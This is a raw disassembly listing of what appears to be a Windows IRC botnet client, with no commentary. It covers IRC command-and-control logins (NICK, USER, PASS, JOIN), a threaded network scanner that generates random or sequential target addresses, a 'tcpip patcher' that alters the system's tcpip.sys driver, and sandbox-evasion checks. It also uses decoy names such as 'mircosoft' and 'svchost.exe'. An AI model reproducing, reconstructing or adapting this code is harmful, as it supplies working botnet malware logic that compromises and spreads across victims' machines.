		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_407C1D


loc_404159:				; CODE XREF: sub_40198E+1E1j
					; sub_40198E+14C5j ...
		add	esp, 10h
		jmp	loc_401C32
; ---------------------------------------------------------------------------


loc_404161:				; CODE XREF: sub_40198E+27B0j
					; sub_40198E+27B8j
		mov	edi, [ebp+var_C]


loc_404164:				; CODE XREF: sub_40198E+279Aj
		push	3
		call	sub_40AA32
		push	esi
		mov	[ebp+arg_0], eax
		call	sub_40E0C8
		add	eax, [ebp+arg_0]
		pop	ecx
		cmp	eax, 0A0h
		pop	ecx
		jle	short loc_4041A9
		push	[ebp+arg_0]
		lea	eax, [ebp+var_814]
		push	offset aDTooManyShit_ ;	"%d Too	Many Shit."
		push	eax
		call	sub_40D6BB
		push	[ebp+var_4]
		lea	eax, [ebp+var_814]
		push	eax
		push	[ebp+var_B0]
		jmp	loc_403A62
; ---------------------------------------------------------------------------


loc_4041A9:				; CODE XREF: sub_40198E+27F0j
		push	edi
		call	sub_40E0C8
		push	esi
		mov	[ebp+var_128], eax
		call	sub_40E0C8
		mov	[ebp+var_110], eax
		mov	eax, [ebp+var_1C]
		push	[ebp+eax+var_AC]
		call	sub_40E0C8
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp+var_124], eax
		jnb	short loc_4041E7
		push	5
		pop	eax
		mov	[ebp+var_124], eax


loc_4041E7:				; CODE XREF: sub_40198E+284Ej
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_4041F4
		mov	[ebp+var_124], ecx


loc_4041F4:				; CODE XREF: sub_40198E+285Ej
		mov	eax, [ebp+var_1C]
		push	[ebp+eax+var_A8]
		call	sub_40E0C8
		mov	[ebp+var_120], eax
		mov	eax, 270Fh
		cmp	[ebp+var_120], eax
		pop	ecx
		jbe	short loc_40421D
		mov	[ebp+var_120], eax


loc_40421D:				; CODE XREF: sub_40198E+2887j
		or	esi, 0FFFFFFFFh
		cmp	dword_41EE78, ebx
		mov	[ebp+var_10C], esi
		mov	[ebp+arg_0], ebx
		jz	short loc_40426F
		mov	esi, offset dword_41EE78


loc_404236:				; CODE XREF: sub_40198E+28C0j
		lea	eax, [esi-28h]
		push	edi
		push	eax
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_404252
		inc	[ebp+arg_0]
		add	esi, 3Ch
		cmp	[esi], ebx
		jnz	short loc_404236
		jmp	short loc_40426C
; ---------------------------------------------------------------------------


loc_404252:				; CODE XREF: sub_40198E+28B6j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		imul	ecx, 3Ch
		mov	ecx, dword_41EE78[ecx]
		mov	[ebp+var_128], ecx
		mov	[ebp+var_10C], eax


loc_40426C:				; CODE XREF: sub_40198E+28C2j
		or	esi, 0FFFFFFFFh


loc_40426F:				; CODE XREF: sub_40198E+28A1j
		cmp	[ebp+var_128], ebx
		jnz	short loc_404281
		push	offset aP0rtIsInvalid_ ; "p0rt is invalid."
		jmp	loc_4043EA
; ---------------------------------------------------------------------------


loc_404281:				; CODE XREF: sub_40198E+28E7j
		mov	eax, [ebp+var_1C]
		mov	edi, [ebp+eax+var_A4]
		cmp	edi, ebx
		mov	[ebp+var_28], edi
		jz	loc_4043BD
		cmp	byte ptr [edi],	23h
		jz	loc_4043BD
		push	edi
		lea	eax, [ebp+var_23C]
		push	10h
		push	eax
		call	sub_40DFEC
		push	78h
		push	edi
		call	sub_40E120
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		cmp	[ebp+var_39B], bl
		mov	[ebp+var_FC], eax
		jnz	short loc_4042D9
		cmp	[ebp+var_39D], bl
		jz	loc_404588


loc_4042D9:				; CODE XREF: sub_40198E+293Dj
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_23C]
		push	offset dword_419868
		push	eax
		mov	[ebp+var_18], esi
		mov	[ebp+var_14], esi
		mov	[ebp+var_C], esi
		mov	[ebp+var_20], esi
		call	sub_40DCA4
		add	esp, 18h
		cmp	[ebp+var_14], esi
		jnz	short loc_40432D
		call	sub_40E04D
		mov	[ebp+arg_0], eax
		fild	[ebp+arg_0]
		fmul	dbl_419860
		fmul	dbl_419858
		call	sub_40E2E4
		mov	[ebp+var_14], eax


loc_40432D:				; CODE XREF: sub_40198E+297Ej
		cmp	[ebp+var_C], esi
		jnz	short loc_404335
		mov	[ebp+var_C], ebx


loc_404335:				; CODE XREF: sub_40198E+29A2j
		mov	eax, [ebp+var_20]
		cmp	eax, esi
		jnz	short loc_404341
		xor	eax, eax
		mov	[ebp+var_20], eax


loc_404341:				; CODE XREF: sub_40198E+29ACj
		shl	eax, 8
		add	eax, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_14]
		shl	eax, 8
		add	eax, [ebp+var_18]
		push	eax
		call	dword_4C4710
		push	eax
		lea	eax, [ebp+var_23C]
		push	offset aS_0	; "%s"
		push	eax
		call	sub_40D6BB
		add	esp, 0Ch
		cmp	[ebp+var_39D], bl
		mov	[ebp+var_FC], ebx
		jz	loc_404588
		lea	eax, [ebp+var_23C]
		push	30h
		push	eax
		call	sub_40DCE0
		pop	ecx
		pop	ecx
		mov	byte ptr [ebp+arg_0+3],	bl


loc_404394:				; CODE XREF: sub_40198E+2A28j
		cmp	eax, ebx
		jz	loc_40457E
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_23C]
		push	30h
		push	eax
		call	sub_40DCE0
		inc	byte ptr [ebp+arg_0+3]
		cmp	byte ptr [ebp+arg_0+3],	2
		pop	ecx
		pop	ecx
		jl	short loc_404394
		jmp	loc_40457E
; ---------------------------------------------------------------------------


loc_4043BD:				; CODE XREF: sub_40198E+2902j
					; sub_40198E+290Bj
		cmp	[ebp+var_3B3], bl
		jnz	short loc_4043FD
		cmp	[ebp+var_3B2], bl
		jnz	short loc_4043FD
		cmp	[ebp+var_3A2], bl
		jnz	short loc_4043FD
		cmp	[ebp+var_39B], bl
		jnz	short loc_4043FD
		cmp	[ebp+var_39D], bl
		jnz	short loc_4043FD


loc_4043E5:				; CODE XREF: sub_40198E+1A41j
		push	offset aNoIp_	; "no IP."


loc_4043EA:				; CODE XREF: sub_40198E+1D3Cj
					; sub_40198E+1E21j ...
		lea	eax, [ebp+var_814]
		push	eax
		call	sub_40D6BB
		pop	ecx
		pop	ecx
		jmp	loc_4046AF
; ---------------------------------------------------------------------------


loc_4043FD:				; CODE XREF: sub_40198E+2A35j
					; sub_40198E+2A3Dj ...
		push	10h
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C8]
		push	eax
		push	[ebp+arg_4]
		mov	[ebp+var_8], edi
		call	dword_4C45F8
		mov	al, [ebp+var_3B3]
		neg	al
		push	edi
		sbb	eax, eax
		and	eax, 0FFFF0100h
		add	eax, 0FFFFh
		and	[ebp+var_C4], eax
		push	[ebp+var_C4]
		call	dword_4C4710
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_40DB80
		add	esp, 0Ch
		cmp	[ebp+var_3A2], bl
		jz	short loc_4044AB
		xor	eax, eax
		cmp	[ebp+var_3B3], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_40DCE0
		cmp	edi, ebx
		pop	ecx
		pop	ecx
		mov	byte ptr [ebp+arg_0+3],	bl
		jle	loc_40457E


loc_404480:				; CODE XREF: sub_40198E+2B16j
		cmp	eax, ebx
		jz	loc_40457E
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_23C]
		push	30h
		push	eax
		call	sub_40DCE0
		inc	byte ptr [ebp+arg_0+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_0+3]
		cmp	ecx, edi
		jl	short loc_404480
		jmp	loc_40457E
; ---------------------------------------------------------------------------


loc_4044AB:				; CODE XREF: sub_40198E+2AC6j
		cmp	[ebp+var_39B], bl
		jnz	short loc_4044C6
		cmp	[ebp+var_39D], bl
		jnz	short loc_4044C6
		mov	[ebp+var_FC], ebx
		jmp	loc_404588
; ---------------------------------------------------------------------------


loc_4044C6:				; CODE XREF: sub_40198E+2B23j
					; sub_40198E+2B2Bj
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_23C]
		push	offset dword_419868
		push	eax
		mov	[ebp+var_14], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_C], esi
		call	sub_40DCA4
		add	esp, 18h
		call	sub_40E04D
		mov	[ebp+arg_0], eax
		fild	[ebp+arg_0]
		fmul	dbl_419860
		fmul	dbl_419858
		call	sub_40E2E4
		mov	[ebp+var_18], eax
		shl	eax, 8
		add	eax, [ebp+var_14]
		mov	[ebp+var_20], ebx
		push	eax
		mov	[ebp+var_C], ebx
		call	dword_4C4710
		push	eax
		lea	eax, [ebp+var_23C]
		push	offset aS_0	; "%s"
		push	eax
		call	sub_40D6BB
		add	esp, 0Ch
		cmp	[ebp+var_39D], bl
		mov	[ebp+var_FC], ebx
		jz	short loc_404588
		lea	eax, [ebp+var_23C]
		push	30h
		push	eax
		call	sub_40DCE0
		pop	ecx
		pop	ecx
		mov	byte ptr [ebp+arg_0+3],	bl


loc_40455E:				; CODE XREF: sub_40198E+2BEEj
		cmp	eax, ebx
		jz	short loc_40457E
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_23C]
		push	30h
		push	eax
		call	sub_40DCE0
		inc	byte ptr [ebp+arg_0+3]
		cmp	byte ptr [ebp+arg_0+3],	2
		pop	ecx
		pop	ecx
		jl	short loc_40455E


loc_40457E:				; CODE XREF: sub_40198E+2A08j
					; sub_40198E+2A2Aj ...
		mov	[ebp+var_FC], 1


loc_404588:				; CODE XREF: sub_40198E+2945j
					; sub_40198E+29EDj ...
		mov	eax, [ebp+arg_4]
		push	[ebp+var_B0]
		mov	[ebp+var_12C], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_104], eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_100], eax
		mov	edi, 80h
		lea	eax, [ebp+var_22C]
		push	edi
		push	eax
		call	sub_40DFEC
		mov	eax, [ebp+var_1C]
		mov	eax, [ebp+eax+var_A0]
		add	esp, 0Ch
		cmp	eax, ebx
		jz	short loc_4045DF


loc_4045CC:				; CODE XREF: sub_40198E+2C5Bj
		push	eax


loc_4045CD:				; CODE XREF: sub_40198E+2C74j
		lea	eax, [ebp+var_1AC]
		push	edi
		push	eax
		call	sub_40DFEC
		add	esp, 0Ch
		jmp	short loc_40460A
; ---------------------------------------------------------------------------


loc_4045DF:				; CODE XREF: sub_40198E+2C3Cj
		mov	eax, [ebp+var_28]
		cmp	eax, ebx
		jz	short loc_4045EB
		cmp	byte ptr [eax],	23h
		jz	short loc_4045CC


loc_4045EB:				; CODE XREF: sub_40198E+2C56j
		push	offset word_41994E
		mov	esi, offset dword_41E18C
		push	esi
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_404604
		push	esi
		jmp	short loc_4045CD
; ---------------------------------------------------------------------------


loc_404604:				; CODE XREF: sub_40198E+2C71j
		mov	[ebp+var_1AC], bl


loc_40460A:				; CODE XREF: sub_40198E+2C4Fj
		cmp	[ebp+var_FC], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_40461C
		mov	eax, offset aSequential	; "Sequential"


loc_40461C:				; CODE XREF: sub_40198E+2C87j
		push	[ebp+var_110]
		lea	ecx, [ebp+var_23C]
		push	[ebp+var_120]
		push	[ebp+var_124]
		push	[ebp+var_128]
		push	ecx
		push	eax
		lea	eax, [ebp+var_814]
		push	offset aSScann3rOnSDDS ; "%s Scann3r on	%s:%d %d secs %d mins %d "...
		push	eax
		call	sub_40D6BB
		push	ebx
		lea	eax, [ebp+var_814]
		push	3
		push	eax
		call	sub_40A83B
		add	esp, 2Ch
		mov	[ebp+var_11C], eax
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		lea	eax, [ebp+var_23C]
		push	eax
		push	offset sub_40AFA2
		push	ebx
		push	ebx
		call	dword_4190B0	; CreateThread
		mov	ecx, [ebp+var_11C]
		imul	ecx, 434h
		cmp	eax, ebx
		mov	dword_42221C[ecx], eax
		jnz	short loc_4046E9
		call	dword_4190AC	; RtlGetLastWin32Error
		push	eax
		push	offset aFailedErrorD_ ;	"Failed, error:	<%d>."


loc_4046A0:				; CODE XREF: sub_40198E+1E17j
					; sub_40198E+2742j
		lea	eax, [ebp+var_814]
		push	eax
		call	sub_40D6BB
		add	esp, 0Ch


loc_4046AF:				; CODE XREF: sub_40198E+2757j
					; sub_40198E+2A6Aj ...
		cmp	[ebp+var_10], ebx
		jnz	short loc_4046CF
		push	[ebp+var_4]
		lea	eax, [ebp+var_814]
		push	eax
		push	[ebp+var_B0]
		push	[ebp+arg_4]


loc_4046C7:				; CODE XREF: sub_40198E+264Aj
		call	sub_4017B6
		add	esp, 10h


loc_4046CF:				; CODE XREF: sub_40198E+1666j
					; sub_40198E+167Bj ...
		lea	eax, [ebp+var_814]
		push	eax
		call	sub_401648
		pop	ecx
		jmp	loc_401C32
; ---------------------------------------------------------------------------


loc_4046E1:				; CODE XREF: sub_40198E+2D61j
		push	32h
		call	dword_419060	; Sleep


loc_4046E9:				; CODE XREF: sub_40198E+2D04j
		cmp	[ebp+var_F8], ebx
		jz	short loc_4046E1
		jmp	short loc_4046AF
; ---------------------------------------------------------------------------


loc_4046F3:				; CODE XREF: sub_40198E+2782j
		mov	eax, [ebp+var_1C]
		mov	eax, [ebp+eax+var_A4]
		cmp	eax, ebx
		mov	[ebp+var_28], eax
		jz	loc_401C32
		push	[ebp+var_8]
		push	offset aSftp	; "sftp"
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_402660
		push	edi
		push	20h
		pop	edi
		push	edi
		push	offset aMs_microsoft_c ; "ms.microsoft.com"
		call	sub_40DFEC
		push	esi
		call	sub_40E0C8
		push	[ebp+arg_0]
		mov	dword_41E264, eax
		push	edi
		push	offset aMircosoft ; "mircosoft"
		call	sub_40DFEC
		push	[ebp+var_18]
		push	edi
		push	offset aPassword ; "password"
		call	sub_40DFEC
		push	[ebp+var_28]
		push	edi
		push	offset aSvchost_exe ; "svchost.exe"
		call	sub_40DFEC
		add	esp, 34h
		jmp	loc_401C32
; ---------------------------------------------------------------------------


loc_40476B:				; CODE XREF: sub_40198E+23Ej
					; sub_40198E+253j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_401760
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_40170D
		xor	eax, eax
		add	esp, 1Ch
		inc	eax
		mov	dword_4BD8F0, eax
		jmp	loc_401C35
sub_40198E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=58h


sub_40479E	proc near		; CODE XREF: sub_404901+251p

var_22C0	= byte ptr -22C0h
var_12C0	= byte ptr -12C0h
var_2C0		= byte ptr -2C0h
var_140		= byte ptr -140h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h

		push	ebp
		mov	eax, 22C0h
		lea	ebp, [esp-58h]
		call	sub_40D9A0
		push	ebx
		xor	ebx, ebx
		push	3
		mov	[ebp+58h+var_8], ebx
		lea	eax, [ebp+58h+var_2C0]
		pop	ecx


loc_4047BC:				; CODE XREF: sub_40479E+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_4047BC
		cmp	byte_41E2F0, bl
		jz	short loc_4047E3
		push	offset byte_41E2F0
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+58h+arg_0]
		call	sub_407C1D
		add	esp, 0Ch


loc_4047E3:				; CODE XREF: sub_40479E+2Ej
		push	[ebp+58h+arg_C]
		lea	eax, [ebp+58h+var_20]
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	sub_409C91
		add	esp, 10h
		push	eax
		push	[ebp+58h+arg_C]
		lea	eax, [ebp+58h+var_A0]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_40D6BB
		add	esp, 14h
		lea	eax, [ebp+58h+var_A0]
		push	ebx
		push	eax
		call	sub_40D630
		pop	ecx
		push	eax
		lea	eax, [ebp+58h+var_A0]
		push	eax
		push	[ebp+58h+arg_0]
		call	dword_4C4724
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_404843
		push	[ebp+58h+arg_0]
		call	dword_4C479C
		push	1388h
		call	dword_419060	; Sleep
		xor	eax, eax
		jmp	loc_4048FB
; ---------------------------------------------------------------------------


loc_404843:				; CODE XREF: sub_40479E+88j
		push	esi
		push	edi
		mov	edi, 1000h
		jmp	short loc_4048C2
; ---------------------------------------------------------------------------


loc_40484C:				; CODE XREF: sub_40479E+149j
		lea	eax, [ebp+58h+var_22C0]
		push	eax
		lea	eax, [ebp+58h+var_12C0]
		push	eax
		call	sub_408A1E
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		mov	[ebp+58h+var_C], eax
		mov	[ebp+58h+var_4], ebx
		jle	short loc_4048C2
		lea	esi, [ebp+58h+var_22C0]


loc_404871:				; CODE XREF: sub_40479E+122j
		xor	eax, eax
		inc	eax


loc_404874:				; CODE XREF: sub_40479E+105j
		push	eax
		lea	eax, [ebp+58h+var_8]
		push	eax
		lea	eax, [ebp+58h+var_140]
		push	eax
		lea	eax, [ebp+58h+var_2C0]
		push	eax
		push	[ebp+58h+arg_18]
		push	[ebp+58h+arg_C]
		push	[ebp+58h+arg_8]
		push	[ebp+58h+arg_4]
		push	[ebp+58h+arg_0]
		push	dword ptr [esi]
		call	sub_40198E
		add	esp, 28h
		dec	eax
		cmp	eax, ebx
		jg	short loc_404874
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4048ED
		cmp	eax, 0FFFFFFFEh
		jz	short loc_4048F1
		cmp	eax, 0FFFFFFFDh
		jz	short loc_4048F6
		inc	[ebp+58h+var_4]
		mov	eax, [ebp+58h+var_4]
		add	esi, 4
		cmp	eax, [ebp+58h+var_C]
		jl	short loc_404871


loc_4048C2:				; CODE XREF: sub_40479E+ACj
					; sub_40479E+CBj
		push	edi
		lea	eax, [ebp+58h+var_12C0]
		push	ebx
		push	eax
		call	sub_40D7B0
		add	esp, 0Ch
		push	ebx
		push	edi
		lea	eax, [ebp+58h+var_12C0]
		push	eax
		push	[ebp+58h+arg_0]
		call	dword_4C45F4
		test	eax, eax
		jg	loc_40484C


loc_4048ED:				; CODE XREF: sub_40479E+10Aj
		xor	eax, eax
		jmp	short loc_4048F9
; ---------------------------------------------------------------------------


loc_4048F1:				; CODE XREF: sub_40479E+10Fj
		xor	eax, eax
		inc	eax
		jmp	short loc_4048F9
; ---------------------------------------------------------------------------


loc_4048F6:				; CODE XREF: sub_40479E+114j
		push	2
		pop	eax


loc_4048F9:				; CODE XREF: sub_40479E+151j
					; sub_40479E+156j
		pop	edi
		pop	esi


loc_4048FB:				; CODE XREF: sub_40479E+A0j
		pop	ebx
		add	ebp, 58h
		leave
		retn
sub_40479E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404901	proc near		; CODE XREF: sub_404BAB+554p

var_4FC		= byte ptr -4FCh
var_3F8		= byte ptr -3F8h
var_2F4		= byte ptr -2F4h
var_2B4		= dword	ptr -2B4h
var_2B0		= dword	ptr -2B0h
var_2AC		= byte ptr -2ACh
var_1A8		= dword	ptr -1A8h
var_1A4		= dword	ptr -1A4h
var_1A0		= dword	ptr -1A0h
var_19C		= byte ptr -19Ch
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_D8		= byte ptr -0D8h
var_98		= byte ptr -98h
var_58		= byte ptr -58h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_38		= byte ptr -38h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 4FCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_19C]
		xor	ebx, ebx
		rep movsd
		mov	[ebp+var_4], ebx
		mov	dword ptr [eax+160h], 1


loc_40492C:				; CODE XREF: sub_404901+264j
					; sub_404901+27Aj ...
		push	10h
		lea	eax, [ebp+var_1C]
		push	ebx
		push	eax
		call	sub_40D7B0
		add	esp, 0Ch
		push	[ebp+var_11C]
		mov	[ebp+var_1C], 2
		call	dword_419234	; htons
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_19C]
		push	eax
		call	dword_419248	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jnz	short loc_404975
		lea	eax, [ebp+var_19C]
		push	eax
		call	dword_419250	; gethostbyname
		jmp	short loc_404983
; ---------------------------------------------------------------------------


loc_404975:				; CODE XREF: sub_404901+63j
		push	2
		push	4
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_41924C	; gethostbyaddr


loc_404983:				; CODE XREF: sub_404901+72j
		cmp	eax, ebx
		jz	loc_404BA7
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		push	1Ch
		mov	[ebp+var_18], eax
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_40D7B0
		add	esp, 0Ch
		push	6
		push	1
		push	2
		call	dword_419238	; socket
		mov	esi, eax
		mov	eax, [ebp+var_40]
		mov	dword_4B85E8[eax*4], esi
		push	10h
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		call	dword_41923C	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4049DF
		push	esi
		call	dword_419240	; closesocket
		push	7D0h
		jmp	loc_404B75
; ---------------------------------------------------------------------------


loc_4049DF:				; CODE XREF: sub_404901+CBj
		cmp	[ebp+var_44], 1
		jnz	short loc_4049EA
		lea	eax, [ebp+var_58]
		jmp	short loc_404A05
; ---------------------------------------------------------------------------


loc_4049EA:				; CODE XREF: sub_404901+E2j
		xor	eax, eax
		mov	al, byte_41E138
		push	ebx
		push	eax
		push	dword_41E140
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_409C91
		add	esp, 10h


loc_404A05:				; CODE XREF: sub_404901+E7j
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_19C]
		push	eax
		lea	eax, [ebp+var_2F4]
		push	offset aConnectedToS_ ;	"connected to %s."
		push	eax
		call	sub_40D6BB
		lea	eax, [ebp+var_2F4]
		push	eax
		call	sub_401648
		mov	eax, [ebp+var_40]
		push	0Fh
		push	[ebp+arg_0]
		shl	eax, 4
		add	eax, offset byte_4B93D0
		push	eax
		call	sub_40DB80
		add	esp, 1Ch
		cmp	[ebp+var_44], 1
		setz	al
		cmp	dword_41E130, ebx
		mov	byte ptr [ebp+var_8], al
		jz	loc_404B2C
		call	sub_408E61
		test	eax, eax
		jz	loc_404B2C
		push	104h
		lea	eax, [ebp+var_4FC]
		push	eax
		call	dword_4190B4	; GetSystemDirectoryA
		lea	eax, [ebp+var_4FC]
		push	eax
		lea	eax, [ebp+var_3F8]
		push	offset aSDriversTcpip_ ; "%s\\drivers\\tcpip.sys"
		push	eax
		call	sub_40D6BB
		lea	eax, [ebp+var_3F8]
		push	eax
		call	sub_40AB64
		mov	edi, eax
		add	esp, 10h
		cmp	edi, ebx
		jz	loc_404B2C
		push	104h
		lea	eax, [ebp+var_3F8]
		push	eax
		lea	eax, [ebp+var_2AC]
		push	eax
		mov	[ebp+var_2B4], esi
		mov	[ebp+var_1A4], ebx
		call	sub_40DB80
		push	ebx
		push	8
		push	offset aTcpipPatcher ; "tcpip patcher!!"
		mov	[ebp+var_1A8], edi
		call	sub_40A83B
		add	esp, 18h
		mov	[ebp+var_2B0], eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		lea	eax, [ebp+var_2B4]
		push	eax
		push	offset sub_408EF0
		push	ebx
		push	ebx
		call	dword_4190B0	; CreateThread
		mov	ecx, [ebp+var_2B0]
		imul	ecx, 434h
		cmp	eax, ebx
		mov	dword_42221C[ecx], eax
		jz	short loc_404B2C
		jmp	short loc_404B24
; ---------------------------------------------------------------------------


loc_404B1C:				; CODE XREF: sub_404901+229j
		push	32h
		call	dword_419060	; Sleep


loc_404B24:				; CODE XREF: sub_404901+219j
		cmp	[ebp+var_1A0], ebx
		jz	short loc_404B1C


loc_404B2C:				; CODE XREF: sub_404901+154j
					; sub_404901+161j ...
		push	[ebp+var_8]
		lea	eax, [ebp+var_19C]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_48]
		lea	eax, [ebp+var_D8]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_118]
		push	eax
		push	esi
		call	sub_40479E
		add	esp, 20h
		push	esi
		mov	edi, eax
		call	dword_419240	; closesocket
		cmp	edi, ebx
		jz	loc_40492C
		cmp	edi, 1
		jnz	short loc_404B80
		push	1B7740h


loc_404B75:				; CODE XREF: sub_404901+D9j
		call	dword_419060	; Sleep
		jmp	loc_40492C
; ---------------------------------------------------------------------------


loc_404B80:				; CODE XREF: sub_404901+26Dj
		cmp	edi, 2
		jnz	loc_40492C
		push	[ebp+var_40]
		call	sub_40AADD
		mov	eax, [ebp+var_40]
		pop	ecx
		shl	eax, 4
		push	edi
		mov	byte_4B93D0[eax], bl
		pop	eax


loc_404BA0:				; CODE XREF: sub_404901+2A8j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_404BA7:				; CODE XREF: sub_404901+84j
		xor	eax, eax
		jmp	short loc_404BA0
sub_404901	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404BAB	proc near		; CODE XREF: .text:0040F9D5p

var_DDC		= byte ptr -0DDCh
var_CD8		= byte ptr -0CD8h
var_AD8		= byte ptr -0AD8h
var_AD7		= byte ptr -0AD7h
var_948		= byte ptr -948h
var_947		= byte ptr -947h
var_7B8		= byte ptr -7B8h
var_6B8		= byte ptr -6B8h
var_5B8		= byte ptr -5B8h
var_4B4		= byte ptr -4B4h
var_3B0		= byte ptr -3B0h
var_2B0		= byte ptr -2B0h
var_270		= byte ptr -270h
var_16C		= byte ptr -16Ch
var_6C		= dword	ptr -6Ch
var_60		= dword	ptr -60h
var_40		= dword	ptr -40h
var_3C		= word ptr -3Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0DDCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	[ebp+var_8], ebx
		call	dword_4190A8	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4B98DC, eax
		call	sub_407D3E
		push	2
		call	dword_4190D4	; SetErrorMode
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	dword_41920C	; InternetOpenA
		cmp	eax, ebx
		mov	dword_4BD8E0, eax
		jnz	short loc_404BFB
		mov	dword_4BD8E0, ebx


loc_404BFB:				; CODE XREF: sub_404BAB+48j
		mov	edi, dword_419094
		mov	esi, 100h
		push	esi
		lea	eax, [ebp+var_16C]
		push	eax
		push	ebx
		call	edi	; GetModuleHandleA
		push	eax
		call	dword_419090	; GetModuleFileNameA
		push	offset dword_421D00
		push	esi
		call	dword_4190A0	; GetTempPathA
		push	7530h
		push	offset aBawha	; "bawha"
		push	ebx
		push	ebx
		call	dword_419194	; CreateMutexA
		push	eax
		call	dword_4190CC	; WaitForSingleObject
		cmp	eax, 102h
		jnz	short loc_404C4B
		push	1
		jmp	loc_404F46
; ---------------------------------------------------------------------------


loc_404C4B:				; CODE XREF: sub_404BAB+97j
		lea	eax, [ebp+var_948]
		push	eax
		push	202h
		call	dword_4C46A0
		test	eax, eax
		jnz	loc_4051EF
		cmp	[ebp+var_948], 2
		jnz	loc_4051E9
		cmp	[ebp+var_947], 2
		jnz	loc_4051E9
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_2B0]
		push	eax
		mov	[ebp+var_14], 40h
		call	dword_419004	; GetUserNameA
		push	offset aCurrentuser ; "CurrentUser"
		lea	eax, [ebp+var_2B0]
		push	eax
		call	dword_4190C8	; lstrcmp
		test	eax, eax
		jz	loc_404F45
		push	103h
		lea	eax, [ebp+var_4B4]
		push	eax
		push	ebx
		call	edi	; GetModuleHandleA
		push	eax
		call	dword_419090	; GetModuleFileNameA
		lea	eax, [ebp+var_4B4]
		push	offset aInsidetm ; "InsideTm"
		push	eax
		call	sub_40D810
		test	eax, eax
		pop	ecx
		pop	ecx
